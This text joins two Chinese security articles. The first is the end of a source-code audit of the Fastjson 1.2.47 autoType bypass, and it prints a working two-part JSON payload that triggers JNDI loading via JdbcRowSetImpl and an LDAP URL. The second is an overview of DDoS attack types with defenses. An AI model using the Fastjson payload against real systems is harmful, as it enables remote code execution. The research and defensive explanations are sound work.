因为我们是从中取值，关注一下它是在哪里赋值的，当前文件搜索`deserializers.put`。
`com.alibaba.fastjson.parser.ParserConfig#initDeserializers`：给出一部分截图
initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的，存放的是一些认为没有危害的固定常用类。理所当然不会包含我们的利用类。
除此之外还有两个类会影响到desesrializers这个map
com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
//太过复杂代码省略
在这个类中会往deserializers这个mapping中放入一些特定类：`java.awt.*`、`java.time.*`、`java.util.Optional*`、`java.nio.file.Path`、`Map.Entry.class`、以及在服务器`META-INF/services/`目录下存放的class文件，还有枚举类的一些判断。对于一些数组，集合，map等再调用`putDesserializer`（这也是另一个会影响到desesrializers这个map的类）放入deserializers这个mapping中。
在这个类中对于类名有着严格的要求和限定，不太行。看下一个。
com.alibaba.fastjson.parser.ParserConfig#putDeserializer
public void putDeserializer(Type type, ObjectDeserializer deserializer) {
deserializers.put(type, deserializer);
}
代码极其简单，但是只在ParserConfig#getDeserializer（就是上面那个类）和`initJavaBeanDeserializers`类中使用过。但是后者是一个初始化函数，我们同样不可控输入值。
那么我们好像发现我们的输入不可以改变deserializers这个mapping的值，从而自然也不能进一步在checkAutoType中被get读取出来，也就绕过不了。
这个 **deserializers在checkAutoType方法中存在的意义** 应该是直接放行一些常用的类，来提升解析速度。
那我们换一条路看看`TypeUtils.getClassFromMapping(typeName)`。
#### TypeUtils.getClassFromMapping(typeName)
先看`getClassFromMapping`：
//这个map是一个hashmap
private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
...
public static Class<?> getClassFromMapping(String className){
//很简单的一个mapping的get
return mappings.get(className);
}
按照套路去寻找影响这个mappings的put方法。搜索`mappings.put`，在下面这两个方法中有找到：
com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader, boolean)
看`addBaseClassMappings`这个方法，方法内容很长，我们就不细看了，但是它是一个没有传参的方法....这样我们就没有一个可控的参数去控制其中的内容。
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class);
//诸如此类的放入一些固定的class至mappings中
...
}
并且还只在两个没毛病的地方调用了这个方法：
前者是一个static静态代码块：
static{
addBaseClassMappings();
}
后者是一个`clearClassMapping`方法：
public static void clearClassMapping(){
mappings.clear();
addBaseClassMappings();
}
没戏，不可控。
再看另一个有mappings.put的位置`TypeUtils.loadClass`，我们需要详细看看这个方法：
> 其实这个TypeUtils.loadClass，在1.2.25-1.2.41中我们分析过一小段，其实是同一个函数！
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
//判断className是否为空，是的话直接返回null
if(className == null || className.length() == 0){
return null;
}
//判断className是否已经存在于mappings中
Class<?> clazz = mappings.get(className);
if(clazz != null){
//是的话，直接返回
return clazz;
}
//判断className是否是[开头，1.2.44中针对限制的东西就是这个
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
//判断className是否L开头;结尾，1.2.42，43中针对限制的就是这里，但都是在外面限制的，里面的东西没变
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
//1. 我们需要关注的mappings在这里有
try{
//输入的classLoader不为空时
if(classLoader != null){
//调用加载器去加载我们给的className
clazz = classLoader.loadClass(className);
//！！如果cache为true！！
if (cache) {
//往我们关注的mappings中写入这个className
mappings.put(className, clazz);
}
return clazz;//返回加载出来的类
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
//2. 在这里也有，但是好像这里有关线程，比较严格。
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//同样需要输入的cache为true，才有可能修改
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//3. 这里也有，限制很松
try{
//加载类
clazz = Class.forName(className);
//直接放入mappings中
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
可以发现如果可以控制输入参数，是可以往这个mappings中写入任意类名的（从而绕过autocheck的黑白名单）
看看这个类在什么地方被引用。
前三者都是在`ParserConfig#autocheck`这个我们需要攻克的类中，如果能在那里调用loadClass并传入一个恶意类去加载。那就已经完成了我们的最终目的，根本不需要通过mappings这个空子去钻。
所以只需要看TypeUtils.java中的引用处。
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
**cache为true** ，一个好消息，因为有三处修改mapping的地方，两个地方需要cache为true。
这百年可以看到在这个类中会自己引用自己的类，跳来跳去，但是也有外部的类引用当前类。这是我们主要关注的。（因为一个底层的工具类，不可能被我们直接调用到）
慢慢看，把跳出去的接口理出来
/com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):334
这两个静态的，没搞头，就不看了。
只有上面一个跳出去`MiscCodec.java#deserialze`的，我们再过去看看：
> 以下代码段请一大段一大段倒着回退回来看
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
//4. clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class，不进入
if (clazz == InetSocketAddress.class) {
...
}
Object objVal;
//3. 下面这段赋值objVal这个值
//此处这个大的if对于parser.resolveStatus这个值进行了判断，我们在稍后进行分析这个是啥意思
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
//当parser.resolveStatus的值为 TypeNameRedirect
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val，如果不是val，报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例："val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}
String strVal;
//2. 可以看到strVal是由objVal赋值，继续往上看
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的分支
}
if (strVal == null || strVal.length() == 0) {
return null;
}
//省略诸多对于clazz类型判定的不同分支。
//1. 可以得知，我们的clazz必须为Class.class类型
if (clazz == Class.class) {
//我们由这里进来的loadCLass
//strVal是我们想要可控的一个关键的值，我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
那么经过分析，我们可以得到的关注点又跑到`parser.resolveStatus`这上面来了
1. 当`parser.resolveStatus == TypeNameRedirect` 我们需要json串中有一个 **"val":"恶意类名"** ，来进入if语句的true中，污染objVal，再进一步污染strVal。我们又需要 **clazz为class类** 来满足if判断条件进入loadClass。
所以一个json串的格式大概为`"被屏蔽的type"="java.lang.Class","val":"恶意类名"` 这样一个东西，大概如此。
2. 当`parser.resolveStatus ！= TypeNameRedirect`进入if判断的false中，可以直接污染objVal。再加上 **clazz=class类**
大概需要一个json串如下:`"被屏蔽的type"="java.lang.Class","恶意类名"`。
至于哪里调用了`MiscCodec.java#deserialze`，查看引用处其实可以发现这是一个非常多地方会调用到的常用函数，就比如解析过程中的`com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)-384行`
#### 定向砸payload
那么在得到如上信息中，我们就不必一直大海摸虾。之前拿到了两个分支paylaod，拿一个可能的paylaod，试试水看看能不能往TypeUtils.getClassFromMapping(typeName）里面的mapping污染我们的恶意类。
{
"被屏蔽的type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
先是日常进入解析主要函数`com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)`
这里有我们的三个在乎的点，如下顺序：
public final Object parseObject(final Map object, Object fieldName) {
...
//先是checkAutoType这个万恶的过滤函数
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
...
//ResolveStatus的赋值
this.setResolveStatus(TypeNameRedirect);
//污染TypeUtils.getClassFromMapping的触发处
Object obj = deserializer.deserialze(this, clazz, fieldName);
}
`com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)`这个分析过了。
从`deserializers.findClass(typeName)`出去，这是我们之前分析过的一处可以绕过白名单黑名单出去的地方，但是这里只存放一些默认类，不可污染。而我们的class.class就在这个默认类列表中，自然直接出去了。（比如class.class怎么也不会匹配到黑名单，不这里出去，也是可以下面出去的）
再是，给ResolveStatus赋值了TypeNameRedirect，这样到deserialze里面就可以确定了分支，与预计吻合。这个payload砸的没错。
可以发现进入了我们预计希望进入的`com.alibaba.fastjson.serializer.MiscCodec#deserialze`，可以看到上面有复杂的if判断，这就是得到初步的思路之后砸payload的好处，如果满足条件，我们就不用费力气去想这些是为啥的，反正默认进来了，不满足我们再去看哪里不符合就行。
一切按照计划进行。
由于objVal是一个String，继续赋值给strVal
跳跳跳，我们之前由checkAutoType得到的clazz为Class.class，进入loadCLass
默认cache为true，之前分析的时候也说到cache为true对我们来说是个好消息。接下来会有三种情况可以污染我们的关键mapping。看看会进入哪一个
下一个
第二个if中，帮我们加载了一个classloader，再因为上一层的cache默认为true，就真的执行成功了`mappings.put`放入了我们的恶意类名！
完美穿针引线，一环扣一环，往mappings中加入了我们的恶意类。这就是大黑阔嘛，爱了爱了。
> 现在回头来看这个mapping看到现在，就是放入一些已经加载过了的类，在checkAutoType中就不进行检查来提高速度。
来一个调用栈：
那么获取一个有恶意类的类似缓存机制的mapping有啥用呢。再进一步被屏蔽的type就好。
之前看到其他博客说，一开始payload是分成两截，因为服务器的mappings自从加过恶意类之后，就会一直保持，然后就可以随便打了。
但是之后为了不让负载均衡，平摊payload造成有几率失败，就变成了以下一个。
{
"a": {
"被屏蔽的type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"被屏蔽的type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
审计结束完美。
> 回顾一下进来的过程：
>
> 我们进入com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map,
> java.lang.Object)
>
> 1. checkAutoType方法拿到Class.class
> 2. 设置了ResolveStatus为TypeNameRedirect，决定了之后deserialze中的if走向
> 3. 进入deserializer.deserialze
>
>
> com.alibaba.fastjson.serializer.MiscCodec#deserialze
>
> 1. parser.resolveStatus为TypeNameRedirect，进入if为true走向
> 2. 解析"val":"恶意类名"，放入objVal，再传递到strVal
> 3. 因为clazz=Class.class，进入TypeUtils.loadClass，传入strVal
>
>
> com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String,
> java.lang.ClassLoader)
>
> 1. 添加默认cache为true，调用loadClass
>
>
> com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String,
> java.lang.ClassLoader, boolean)
>
> 1. 三个改变mappings的第一处，由于classLoader=null，不进入
> 2.
> 三个改变mappings的第二处，classLoader=null，进入；获取线程classLoader，由于cache为true，添加mappings。
>
### 1.2.48修复
对比代码。修改了cache这一处。（右侧为1.2.47代码）
本来应该进入一个loadClass（两个参数）的方法，然后默认cache为true，在进入三个参数的loadClass。
现在这边直接指定过来三个参数loadClass同时cache为false。
可见，在同样payload执行时，我们原来说会改变mappings的第二处就因为cache而无法改变。
但是我们还记得之前分析时有第三处不需要校验cache的mappings赋值！精神一振，这就是0day的气息么！
然后.......
这就是程序员的力量么，两行代码秒杀一切，爱了爱了，0day再见。
### 1.2.48以后
在这个通杀payload之后，就又恢复了一片平静的，在服务端手动配置关闭白名单情况下的黑名单与绕过黑名单的战争。这个战争估计随着代码不断迭代，也是不会停止的。
之后又出了一个影响广泛的拒绝服务漏洞，在1.2.60版本被修复。
当然这与反序列化就无关了，同时这篇文章也写得太久，太长了。也算是给2019做个结尾吧。
所以，
2020年，新年快乐。
要不 下场雪吧？
## 参考
[l1nk3r大佬](http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/)
[https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/](https://www.kingkk.com/2019/07/Fastjson反序列化漏洞-1-2-24-1-2-48/)
<https://p0sec.net/index.php/archives/123/>
<https://b1ue.cn/archives/184.html>
<https://github.com/LeadroyaL/fastjson-blacklist>
<https://p0rz9.github.io/2019/06/02/Fatsjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%90%8E%E7%BB%AD/>
<https://github.com/vulhub/vulhub/tree/master/fastjson>
<http://wp.blkstone.me/2018/10/fastjson-serial-1/>
<https://blog.csdn.net/kingmax54212008/article/details/95641681>
<https://github.com/alibaba/fastjson/tree/1.2.47>
<https://www.freebuf.com/vuls/208339.html>
<https://www.freebuf.com/column/180711.html>
<https://github.com/jas502n/fastjson-RCE>
可能还看了很多。。但是真的回头找不到了，向网上老哥们致敬 (^^ゞ | 社区文章 |
### 0X00前言
暑假无聊，找了一家公司实习，打算学点东西。这家公司早些年是做抗DDOS设备的，培训的时候就很粗略的讲了部分原理，但是我却对DDOS产生了浓厚的兴趣。一但有了兴趣，便有了研究下去的动力。所以我开始在网络上搜集各种DDOS文章、书籍，学习的同时还做了记录，在此与大家分享，文中必要之处，我会连同协议的工作方式及报文格式一并讲解，这样才能更好的理解攻击触发点。
### 0X01DDOS简介
DDOS(Distributed Denial of
Service)，又称分布式拒绝服务攻击。骇客通过控制多个肉鸡或服务器组成的僵尸网络，对目标发送大量看似合法请求，从而占用大量网络资源，瘫痪网络，阻止用户对网络资源的正常访问。
### 0X02DDOS危害
出口带宽堵死
游戏掉线导致客户流失
服务器连接数多，连接资源被耗尽
服务器卡、慢、死机、无法连接
### 0X03攻击来源
高性能服务器配合发包软件
可联网的设备(如打印机、摄像头、电视等等)
移动设备(数量多，增长速度快，其高性能利于组建僵尸网络)
个人PC(存在漏洞的PC或一些黑客迷自愿成为DDOS一员)
骇客控制的僵尸网络(僵尸网络又分为IRC型、HTTP型、P2P型)
### 0X04流量特点
IP地址随机或固定某些IP段随机
没有完整完成三次握手
地址多数是伪造的
请求数量大、快
### 0X05导致DDOS原因
#### 人类因素
金钱利益
政治冲突
宗教冲突
为求出名
#### 非人类因素
带宽上限
协议缺陷
设备性能上限
应用性能上限
系统性能上限
### 0X06攻击类型及防御
Smurf攻击
攻击者向网关发送ICMP请求包，并将该ICMP请求报文的源地址伪造成受害主机IP地址，目的地址为广播地址。路由器在接受到该数据包，发现目的地址是广播地址，就会将该数据包广播出去，局域网内所有的存活主机都会受到一个ICMP请求包，源地址是受害主机IP。接下来受害主机就会收到该网络内所有主机发来的ICMP应答报文，通过大量返回的ICMP应答报文来淹没受害主机，最终导致网络阻塞，受害主机崩溃。下面是smurf攻击示意图
防护方案：禁止路由器广播ICMP请求包；禁止操作系统对广播发出的ICMP请求包做出响应；配置防火墙静止来自你所处网络外部的ping包
#### TearDrop攻击
在了解这种攻击之前，需要先知道什么是IP
fragmentation（数据包分片）。数据在网络中传输必定会产生数据包被分片，因为每种网络都有不同的最大单个数据包的大小，也就是常说的MTU（Maximum
Transmission
Unit，最大传输单元）。当要传输的数据超过你要通信的那台主机所处网络的MTU时，数据包就会被分片进行传输，然后在到达目的地再重新组装成原来的数据包，下面是数据包分片重组过程
TearDrop攻击，就是通过设置错误的片偏移，使得数据包到达目的地时，服务器无法重新组合数据包，因为数据包的组合是通过片偏移来组装的，最终导致崩溃。对比一下正常IP数据包和错误IP数据包
这种攻击主要对旧的windows版本和Linux版本有效，防护的话，可以检测发来的数据包片偏移是否合法，如果合法在组装，不合法直接丢弃。例如这个：[分片重组检查算法](https://wenku.baidu.com/view/b45bba61ddccda38376baf7f.html)。
#### Land Attack
攻击者发动Land
Attack攻击时，需要先发出一个SYN数据包，并将数据包的源IP与目的IP都设置成要攻击的目标IP，这样目标在接收到SYN数据包后，会根据源IP回应一个SYN+ACK数据包，即和自己建立一个空连接，然后到达idel超时时间时，才会释放这个连接。攻击者发送大量这样的数据包，从而耗尽目标的TCP连接池，最终导致拒绝服务。攻击过程如下
防御方案参考如下：这种攻击对早期系统有效。通过设置防火墙和路由规则，检测源IP与目的IP相同的数据包，丢弃、过滤这种数据包。
#### SYN FLOOD攻击
SYN
FLOOD攻击是在TCP三次握手过程中产生的。攻击者通过发送大量伪造的带有SYN标志位的TCP报文，与目标主机建立了很多虚假的半开连接，在服务器返回SYN+ACK数据包后，攻击者不对其做出响应，也就是不返回ACK数据包给服务器，这样服务器就会一直等待直到超时。这种攻击方式会使目标服务器连接资源耗尽、链路堵塞，从而达到拒绝服务的目的。SYN
FLOOD攻击图示如下
防御：
SYNCheck：使用防护设备，3次握手变成了6次握手，由防护设备检测SYN请求是否合法，通过后再由防护设备将报文转发给服务器，后续报文仍由防护设备代理。
Micro blocks：管理员可以在内存中为每个SYN请求创建一个小索引(小于16字节)，而不必把整个连接对象存入内存。
RST
cookies：在客户端发起第一个SYN请求后，服务器故意回应一个错误的SYN+ACK报文。如果合法用户收到这个报文，就会给服务器响应RST报文。当服务器收到这个报文时，就将这个主机的IP记录进合法IP列表，下次该主机发起SYN请求时，就可以直接通过了。
STACK
tweaking：管理员可以调整TCP堆栈以减缓SYN泛洪攻击的影响。这包括减小超时时间，等到堆栈存释内放时再分配连接，否则就随机性地删除传入的连接。
#### ACK FLOOD攻击
ACK FLOOD攻击是利用TCP三次握手过程。这里可以分为两种。
第一种：攻击者伪造大量的SYN+ACK包发送给目标主机，目标主机每收到一个SYN+ACK数据包时，都会去自己的TCP连接表中查看有没有与ACK的发送者建立连接
，如果有则发送ACK包完成TCP连接，如果没有则发送ACK+RST
断开连接。但是在查询过程中会消耗一定的CUP计算资源。如果瞬间收到大量的SYN+ACK数据包，将会消耗服务器的大量cpu资源，导致正常的连接无法建立或增加延迟，甚至造成服务器瘫痪、死机。
第二种：利用TCP三次握手的ACK+SYN应答，攻击者向不同的服务器发送大量的SYN请求，这些SYN请求数据包的源IP均为受害主机IP，这样就会有大量的SYN+ACK应答数据包发往受害主机，从而占用目标的网络带宽资源，形成拒绝服务。
通常DDOS攻击会将ACK flood与SYN
flood结合在一起，从而扩大威力。防御方案可参考如下：采用CDN进行流量稀释；避免服务器IP暴露在公网上；通过限速或动态指纹的方式；利用对称性判断来分析出是否有攻击存在；在连续收到用户发送的ACK包时，中断回话，让其重连。
#### UDP FLOOD攻击
UDP（User Datagram
Protocol，用户数据报协议），是一种无连接和无状态的网络协议，UDP不需要像TCP那样进行三次握手，运行开销低，不需要确认数据包是否成功到达目的地。这就造成UDP泛洪攻击不但效率高，而且还可以在资源相对较少的情况下执行。UDP
FLOOD可以使用小数据包(64字节)进行攻击,也可以使用大数据包(大于1500字节,以太网MTU为1500字节)进行攻击。大量小数据包会增大网络设备处理数据包的压力；而对于大数据包，网络设备需要进行分片、重组，最终达到的效果就是占用网络传输接口的带宽、网络堵塞、服务器响应慢等等。
防御方案：限制每秒钟接受到的流量(可能产生误判)；通过动态指纹学习(需要攻击发生一定时间)，将非法用户加入黑名单。
#### NTP放大攻击
NTP(Network Time
Protocol，网络时间协议)，是用来使计算机网络时间同步化的一种协议，它可以使计算机与时钟源进行同步化并提供高精度的时间校正，使用UDP123端口进行通信。通常在NTP服务器上会有一些调试接口，而利用这些接口中的monlist请求，就可触发放大攻击。当主机向NTP服务器发送monlist查询请求时，NTP服务器会将与之进行时间同步的最后600个IP地址返回。所以攻击者只需要将源地址伪造为受害主机的IP，向NTP服务器发送一个monlist查询请求包，受害主机就会收到大量的UDP响应包。这种攻击在放大攻击里，危害相对较大。下面是NTP放大攻击示意图
总结一下这种攻击产生的原因，请求与响应数据包不等价；UDP协议的通信模糊性（无数据传输确认机制）；以及NTP服务器的无认证机制。再来谈谈防御方案：使用防
DDoS 设备进行清洗；加固并升级NTP服务器；在网络出口封禁 UDP 123 端口；通过网络层或者借助运营商实施 ACL 来防御；关闭现在 NTP 服务的
monlist 功能，在ntp.conf配置文件中增加`disable monitor`选项。
#### DNS放大攻击
DNS(Domain Name
System，域名系统)，由于使用IP地址来记忆各个网站比较困难，所以就产生了使用主机名称来表示对应的服务器，主机名称通过域名解析的过程转换成IP地址。下面来看一下DNS报文格式，以便了解攻击发生在何处。
报文首部格式
报文首部各字段含义如下，其中绿色高亮是攻击点之一，之后会分析
下面是问题记录中查询类型可设置的值，我们发现最后一个ANY类型会请求所有记录，这也是一个攻击点
DNS查询可分为递归查询和迭代查询，下面是DNS迭代查询图
再来看DNS递归查询图
从DNS数据包结构以及DNS递归查询过程，我们就可以大致分析出攻击原理。首先，攻击者向僵尸网络发出指令，使僵尸网络中的每一台主机均发出一个伪造源地址的DNS查询请求包，这些请求包查询类型设置为ANY，因为这种类型会请求所有的记录，这些记录会在返回的响应包中，也就是说这种数据包的大小较其他类型是最大的。接着查询类型设为递归查询，为什么不是迭代查询呢，仔细看两种查询的过程图可发现，如果迭代查询第一个请求的DNS服务器没有查询到结果，那么第一个请求的服务器会返回另一个DNS服务器IP，让请求主机向这个IP去继续查询，然而攻击者的数据包源地址是伪造的，所以并不会发起第二次查询，因为第一次查询根本就不是它发起的；而递归查询却是在查询到结果之后，才返回给查询请求发起者。利用这两个特点，攻击者就可以成功发起DNS放大攻击。这种普通的查询请求可以将攻击流量放大2~10倍，如果想增大攻击倍数，可以使用RFC
2671中定义的DNS拓展机制EDNS0。未使用EDNS0时，若响应包大小小于512字节，就使用UDP封装数据；若响应包大小超过512字节，就使用TCP连接或者服务器截断响应报文，丢弃超过512字节的部分，并把TC位置1。这两种方式都不利于进行DNS放大攻击。然而在开启EDNS0机制后，增加了OPT
RR字段，这两个字段包含了能够处理的最大UDP报文大小信息，所以攻击者将这个信息设置的很大，服务器就会根据这个信息生成响应报文。最后看一下DNS放大攻击演示图
防御的话，可以参考以下几点：联系ISP清洗上游流量；DNS服务器只对可信域内提供服务，限制对域外用户提供DNS解析服务；对单个IP的查询速率做限制；拥有足够的带宽承受小规模攻击；关闭DNS服务器的递归查询；利用防火墙等对ANY
Request进行过滤。
#### SNMP放大攻击
SNMP(Simple Network Management
Protocol，简单网络管理协议)，是目前网络中应用最为广泛的网络管理协议，它提供了一个管理框架来监控和维和互联网设备，它使用UDP161端口进行通信。攻击者向互联网上开启SNMP服务的设备发送GetBulk请求，并使用默认通信字符串作为认证凭据。常见的默认通信字符串如public、private以及一些厂商默认的通信字符串。GetBulk请求是在SNMPv2中添加的的，该请求会让SNMP设备尽可能多的返回数据，这也就是SNMP放大攻击的利用点。下面来看一下SNMP的PDU格式
攻击者先将源地址改成要攻击的目标IP，再使用默认的通信字符串，向大量SNMP设备发出GetBulk请求，设备收到GetBulk请求数据包后，会将一大段的设备检索信息返回给目标主机，最终目标主机会被这些SNMP设备返回的数据包淹没，导致拒绝服务。看一下SNMP的攻击图
可以采取以下措施进行防御：禁止已开启SNMP的设备响应GetBulk请求，避免自己的设备被黑客利用；更改默认的通信字符串；修改默认端口161；隐藏开启SNMP设备的公网IP
#### TFTP放大攻击
TFTP（Trivial File Transfer Protocol，简单文件传输协议），使用UDP
69端口进行通信，由于TFTP使用的是不可靠的UDP协议，所以他不能确保发送的任何报文都能真正到达目的地，因此他必须使用定时器来检测并重传报文，以下是TFTP传输文件过程图
超时重传机制
可以看到，TFTP协议将数据分成好多个数据块进行传输，每个数据块最大为512字节，客户端在接受到数据块时，需要给服务器端返回一个ACK确认报文，然后才会继续传输下一个报文。若服务器没有收到客户端发来ACK报文，则在时间到达超时计数器时，便会开启重传机制，这也就是攻击利用点。攻击者利用TFTP协议上的缺陷，伪造源地址向服务器发起请求，服务器回复的第1个data数据包后无法收到客户端发送的ACK。此时TFTP就会利用他的重传机制，定时重传第1个data数据包，当攻击者发出大量的这种请求时，TFTP放大攻击也就发生了。来看一下TFTP放大攻击示意图
防御方案可参考如下：不要将TFTP服务器暴露在公网上；对流经TFTP服务的流量进行入侵检测；将重传（数据包）率设置为1；只为信任域内的主机提供服务。
#### CC攻击
CC攻击（ChallengeCollapsar）又称作HTTP
泛洪攻击，其原理是攻击者控制肉鸡、僵尸网络或使用代理服务器，不停地向目标的web服务发送大量合法请求，使得正常用户的web请求处理缓慢甚至得不到处理，制造大量的后台数据库查询动作，消耗目标CPU资源，最终导致服务器宕机崩溃。这种攻击方式不需要很大的带宽，且无法使用伪造IP地址进行攻击，需要真实的机器与web服务器建立连接，因为HTTP协议是建立在TCP协议上，必须先进行TCP三次握手才能进行HTTP通信。如果目标web服务器支持HTTPS，那么发起的HTTPS泛洪攻击还能穿透一些防护设备。
防御方案：必要时将网页做成静态，减少数据库的使用；限制连接数量；修改最大超时时间；让用户手动输入验证码；在response报文中添加特殊字段，验证IP合法性；屏蔽频繁访问服务器的主机IP。
#### HTTP慢速攻击
Slow HTTP Dos
AttACKs（慢速HTTP拒绝服务攻击），黑客模拟正常用户向web服务器发送慢速http请求，由于是慢速的，服务器端需要保持连接资源，直到数据传输结束或请求结束才可释放连接。当服务器端建立了大量这样的慢速连接，就会导致服务器拒绝服务。这种攻击可以分为两类，一类是客户端发数据，另一类是客户端读取服务器发来的数据。HTTP慢速攻击对基于线程处理的web服务器影响显著，如apache、dhttpd，而对基于事件处理的web服务器影响不大，如ngix、lighttpd。HTTP慢速攻击还可以细分成以下几种攻击方式.
Slowloris攻击方式
HTTP协议规定请求头以一个空行结束，所以完整的http请求头结尾是\r\n\r\n。然而使用非正常的\r\n来结尾，就会导致服务端认为我们的请求头还没结束，等待我们继续发送数据直到超时时间。两种请求头区别如下，CRLF（Carriage
Return Line Feed）表示回车换行
Slow post攻击方式
在http头部信息，可以使用content-length声明HTTP消息实体的传输长度，服务器端会content-length的值作为HTTP
BODY的长度。利用这一特点，攻击者把content-length设置得很大的，然后缓慢发送数据部分，比如一次只发送一个字节，这样服务器端就要一直保持连接，直到客户端传完所有的数据。
Slow read攻击方式
攻击者发送一个完整的HTTP数据请求，之后服务器会给出响应，这时攻击者在将自己的TCP窗口大小设置的很小，服务器会根据客户的TCP窗口大小来传送数据。由于客户端的TCP窗口大小很小，服务器只能缓慢的传输数据给客户端。当建立大量的这种连接时，web应用的并发连接池将被耗尽，最终导致拒绝服务。
Apache range header攻击
这种攻击方式只针对apache，当客户端传输大文件时会有range字段，表示将大文件分段，分成几个小段进行传输。例如攻击者将一个文件按照一个字节一段，分成好多段，这样就会造成传输数据缓慢，长时间占用连接，消耗服务器CPU和内存资源。
上面这4种攻击方式，也可以参考这篇文章：CC攻击。了解了攻击原理，我们就可以有针对性地进行防御，这里说一下apache的防护策略：设置并使用以下模块
mod_reqtimeout模块，控制请求数据传输的超时时间及最小速率，防护配置如下
mod_qos模块，Apache的一个服务质量控制模块，用户可配置各种不同阈值，防护配置如下
mod_security模块，一个开源的WAF模块，有专门针对慢速攻击防护的规则，防护配置如下
以上是针对Apache的一些防护策略，至于其他中间件的防护，可以参考这篇文章：[How to Protect Against Slow HTTP
AttACKs](https://blog.qualys.com/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks)
#### XSS-DOS
利用网站存在的存储型XXS漏洞，在网站中插入恶意的javascript代码。代码的功能是不断向web服务器发起大量请求，从而导致服务器宕机，无法响应正常用户的请求。客户端访问已插入恶意的javascript代码的页面后，抓包截图如下
由于这种攻击的是由存储型XSS导致的，我们再防御方面就要考虑如何防御存储型XSS。防御策略如下：对用户的输入以及url参数进行特殊字符过滤；对输出内容进行编码转换；结合黑白名单机制。
#### 时间透镜攻击
通过控制相同源和相同目的IP报文，使得走不同路径的数据包，在同一时刻到达目标服务器，从而达到流量集中攻击的目的。这种攻击其实我也还弄不太懂，详细信息可以阅读这篇paper：[Temporal
Lensing and its Application in Pulsing Denial-of-Service
Attacks](http://icir.org/vern/papers/lensing.oak15.pdf)，或者看这个[视频](https://www.youtube.com/watch?v=QwAHNnKDVxQ)，还有这份中文分析：[时间透镜及其在脉冲拒绝服务攻击的应用](https://mp.weixin.qq.com/s?__biz=MzI2NjUwNjU4OA==&mid=2247483685&idx=1&sn=8ac38ff22d571bbbf7716cb9e83b9b35&chksm=ea8c5916ddfbd00008d9b28e22fccba8c201ce78c70c2d78d10ee732f22a39ccf46d4b197634&mpshare=1&scene=23&srcid=0831Wr5YJPYzSrQU6gnfGVd0)。看一下freebuf上的一个分析图
防御方案：增加抖动，干扰攻击路径，使得数据包无法预期到达；由运营商禁止源路由。
其他防御措施：
采用高性能的网络设备；充足的网络带宽保证；升级主机服务器硬件；避免将服务器的真实IP暴露在公网中；使用CDN对流量进行稀释，当大流量稀释到各个CDN节点时，再对流量进行清洗，从而达到防护源站的目的。然而这种防御方式只能用在对域名发起的DDOS攻击，如果攻击者直接对IP进行攻击，则需要使用anycast技术来防御。
### 0X07总结
